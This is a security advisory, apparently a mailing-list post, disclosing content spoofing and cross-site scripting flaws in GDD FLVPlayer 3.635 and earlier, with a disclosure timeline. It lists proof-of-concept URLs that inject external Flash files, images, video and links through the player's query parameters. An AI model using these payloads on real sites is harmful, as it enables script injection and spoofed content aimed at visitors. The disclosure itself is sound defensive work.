GDD FLVPlayer version 3.635 suffers from cross site scripting and content spoofing vulnerabilities.
44f7dd1212681cf231fd4da478749b23c764aaaf54bf4e11341f3f140cfc4311
Hello list!
These are Content Spoofing and Cross-Site Scripting vulnerabilities in GDD
FLVPlayer.
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Affected products:
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Vulnerable are GDD FLVPlayer v3.635 and previous versions.
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Affected vendors:
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GeDeDe
http://www.gdd.ro
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Details:
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Content Spoofing (Flash Injection) (WASC-12):
http://site/gddflvplayer.swf?mylogo=http://site2/1.swf
http://site/gddflvplayer.swf?splashscreen=http://site2/1.swf
It's possible to include flash-files with links.
XSS (via Flash Injection) (WASC-08):
http://site/gddflvplayer.swf?mylogo=xss.swf
http://site/gddflvplayer.swf?splashscreen=xss.swf
In old versions of Flash player the attack will work with flash file xss.swf
at any domain, in new versions - only at the same domain.
Content Spoofing (Content Injection) (WASC-12):
http://site/gddflvplayer.swf?mylogo=http://site2/1.jpg
http://site/gddflvplayer.swf?splashscreen=http://site2/1.jpg
http://site/gddflvplayer.swf?advert=http://site2/1.flv
http://site/gddflvplayer.swf?vdo=http://site2/1.flv
Injecting images and playing video and audio (flv, mp4 and mp3 files) from
external sites.
Content Spoofing (Link Injection) (WASC-12):
http://site/gddflvplayer.swf?clickTAG=http://websecurity.com.ua
http://site/gddflvplayer.swf?vdo=http://site2/1.flv&endclipaction=http://websecurity.com.ua
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Timeline:
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2013.07.10 - announced at my site.
2013.07.11 - informed developers.
2013.08.23 - disclosed at my site (http://websecurity.com.ua/6642/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua